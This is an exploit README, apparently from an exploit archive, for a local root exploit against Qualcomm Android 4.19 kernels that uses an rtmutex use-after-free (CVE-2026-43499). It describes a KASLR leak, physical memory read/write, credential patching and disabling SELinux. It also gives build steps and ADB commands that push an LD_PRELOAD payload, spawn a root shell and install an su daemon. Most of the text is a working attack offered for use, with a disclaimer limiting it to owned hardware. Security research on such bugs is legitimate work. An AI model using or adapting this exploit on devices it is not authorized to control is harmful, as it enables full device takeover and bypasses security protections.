## https://sploitus.com/exploit?id=A7E4D6DB-C924-5C16-A433-AC9FEC2F012D
# GhostLock β CVE-2026-43499 PoC (Qualcomm 4.19 kernel)
Local privilege escalation exploiting **CVE-2026-43499** β an rtmutex
`remove_waiter()` bug that leaves a `struct rt_mutex_waiter` dangling on the
waiter's kernel stack (`kernel/locking/rtmutex.c`, CWE-416 use-after-free).
Adapted from
[NebuSec/CyberMeowfia](https://github.com/NebuSec/CyberMeowfia)
(`IonStack/CVE-2026-43499`, Apache-2.0) for a **Qualcomm Android 4.19.x**
vendor kernel family.
- Kernel: `4.19.157-perf-g9607d8651312` (qcom, clang 10.0.7, SMP PREEMPT, aarch64)
- Device class: Snapdragon 870 (sm8250-ac) / Redmi K40-class boards, Android 13-era
builds with boot header v3
- Bug: `futex_requeue()` proxy-lock rollback calls `remove_waiter()` which
operates on `current` instead of `waiter->task` β rb-tree dequeue without
`pi_lock`, dangling `pi_blocked_on`, leading to a kernel-stack UAF.
Affected through 5.10/5.15/6.1/6.6/6.12/6.18/7.0 fixed versions; **4.19 has
no backport** (EOL), so 4.19.157-perf is affected.
## What's in the repo
```
src/ adapted exploit sources (preload.so)
src/targets/oplus-4.19.157-perf/target.h per-device offset table (kallsyms-derived)
prebuilt/ compiled artifacts (aarch64)
adaptation-4.19.patch full diff vs. the upstream Pixel (6.x) code
Makefile, build.sh build entry points
```
### Round-2 adaptations for the 4.19 kernel (vs. the 6.x upstream)
- `configfs_read_file` / `configfs_write_bin_file` are placed at `.read`/`.write`
fops slots (4.19 signatures), and the read primitive uses the simplified
`count/page/ppos=0` fake-buffer layout
- ashmem name prefix (`/dev/ashmem`) is absent on this kernel β prefix length 0
- kmalloc geometry: 4.19 has 3 cache types (NORMAL/RECLAIM/DMA, no per-memcg
caches); legacy pipe 16-slot buffer array lands in kmalloc-1024
- `selinux_blob_sizes` does not exist on 4.19 β direct `cred->security`
(`SELINUX_CRED_BLOB_OFF=0`); `struct seccomp` has no `filter_count`
- `ASHMEM_MISC_FOPS` = miscdevice.fops slot (`ashmem_misc + 0x10`)
- struct offsets (task_struct / cred / pipe_inode_info / file_operations /
mm_struct / struct page / configfs_buffer) were re-derived from this kernel's
kallsyms + embedded ikheaders and validated against the kernel's own RELA
relocation table
## Build
Linux / WSL with Android NDK:
```bash
export NDK_ROOT=/path/to/android-ndk-r27c
./build.sh # or: make PROJECT=oplus-4.19.157-perf
```
Outputs: `prebuilt/preload.so` (LD_PRELOAD payload) and an embedded
`su_daemon` PIE.
## ADB usage (one-shot root)
Requires an ADB shell (a normal, unprivileged `adb shell` is enough β the
exploit runs entirely unprivileged and escalates itself).
```bash
# 1. push the payload
adb push prebuilt/preload.so /data/local/tmp/
# 2. run the exploit against any command (here: id) via LD_PRELOAD
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
# expected on success: uid=0(root) gid=0(root) groups=...
# on failure the process exits 1 and the log below tells you where it stopped.
```
Optional one-liner variants:
```bash
# capture the exit status too
adb shell "LD_PRELOAD=/data/local/tmp/preload.so id; echo rc=\$?"
# interactive root shell (the exploit also installs an su daemon)
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/sh -c 'su -c id'"
```
### Debug log (survives panic/reboot)
Every `pr_*` line is mirrored to disk with an immediate `write()+fsync()` so the
trail survives a kernel panic/reboot:
```
/sdcard/Download/log_.txt
```
Fallback paths if `/sdcard` is unavailable: `/sdcard/Downloads`,
`/data/local/tmp/log_.txt`.
```bash
# after the run (even after a reboot):
adb shell "ls -t /sdcard/Download/log_*.txt | head -1"
adb shell "cat $(adb shell 'ls -t /sdcard/Download/log_*.txt | head -1' | tr -d '\r')"
```
Key log markers:
- `preload starting pid=... log=/sdcard/Download/log_.txt` β payload loaded
- `slide-kaslr-ok ... base=...` β KASLR base recovered
- `pipe-physrw-summary ... root=1 ...` β phys RW installed
- `uid_before=... uid_after=0 ... selinux=1->0` β creds patched
- on 4.19 the slide gadget prints `UNVERIFIED` before its first attempt β that
stage is the one to tune per device using this log.
## Notes & limitations
- The first stage (KASLR slide leak) is tuned per device; values that could not
be statically derived for 4.19 are flagged in `target.h` and logged as
`UNVERIFIED` at runtime. Iterate on-device using the fsync log.
- `CONFIG_STATIC_USERMODEHELPER=y` on this build disables modprobe-path tricks;
the primary path is direct `cred` patching.
- Verify offset correctness on your exact build via the kernel's own kallsyms
(`/proc/kallsyms`) and `/proc/slabinfo` before deployment.
## License
Apache-2.0 (upstream: NebuSec/CyberMeowfia). **For security research and
authorized device rooting only. Use on hardware you own.**